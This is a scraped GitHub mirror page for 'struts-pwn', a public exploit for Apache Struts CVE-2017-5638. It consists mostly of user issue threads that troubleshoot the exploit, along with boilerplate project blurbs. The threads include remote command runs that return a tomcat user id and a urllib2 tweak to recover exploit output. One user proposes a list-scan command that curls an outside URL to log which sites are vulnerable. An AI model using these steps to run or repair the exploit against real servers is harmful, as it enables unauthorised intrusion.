mazen160 / struts-pwn Goto Github PK
View Code? Open in Web Editor NEWAn exploit for Apache Struts CVE-2017-5638
License: MIT License
An exploit for Apache Struts CVE-2017-5638
License: MIT License
Hey dude,
When doing a list any way to provide the url as a var in the command so you can log against which sites are vun?
python struts-pwn.py --list 'urls.txt' -c 'curl -L https://mysite.com/test.php?url='
Urls have been obfuscated. On a vulnerable struts server, using the default struts-pwn, an IncompleteRead is returned with 0 bytes
root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action
[*] URL: xxxx/test.action
[*] CMD: id
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
ERROR
[%] Done.
If this is swapped to be urllib2 however, a partial response is received:
try:
#rq = requests.get(url, headers=headers, timeout=timeout, allow_redirects=False)
#output = rq.text
request = urllib2.Request(url, headers=headers)
request = urllib2.urlopen(request).read()
except Exception as e:
print("EXCEPTION::::--> " + str(e))
print e.partial
output = 'ERROR'
return(output)
root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action
[*] URL: http://xxxx/test.action
[*] CMD: id
EXCEPTION::::--> IncompleteRead(54 bytes read)
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
ERROR
[%] Done.
I've yet to identify what behind the scenes is causing this error. Urllib3 appears to have the same behaviour as urllib2 (although I can't work out how to decode the response). Any idea if the way requests is working is causing issues?
the exploit code failed against https websites
Just installed Struts 2.5.12 on Tomcat 9 as a test target running locally
http://127.0.0.1:8080/struts2-showcase/index.action shows the 'Welcome!' screen
$ ./struts-pwn.py -u 'http://127.0.0.1:8080/struts2-showcase/index.action'
[*] URL: http://127.0.0.1:8080/struts2-showcase/index.action
[*] Status: Not Affected.
Same result with any URL (even non-existent ones)
Strangely enough, if I run the python script with --check, I get a response 200 and it shows my site as vulnerable.
If I try to run the exploit, then I get an Exception:
EXCEPTION::::--> ('Connection aborted.', error(104, 'Connection reset by peer'))
Any ideas what I can do to debug where/why the exception is being generated with the exploitable content-type?
Seeing this in my logs from a Script Kiddie.
80.15.195.28 - - [30/Apr/2017:10:34:21 +0000] "GET / HTTP/1.1" 200 0 "-" "struts-pwn (https://github.com/mazen160/struts-pwn)"
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.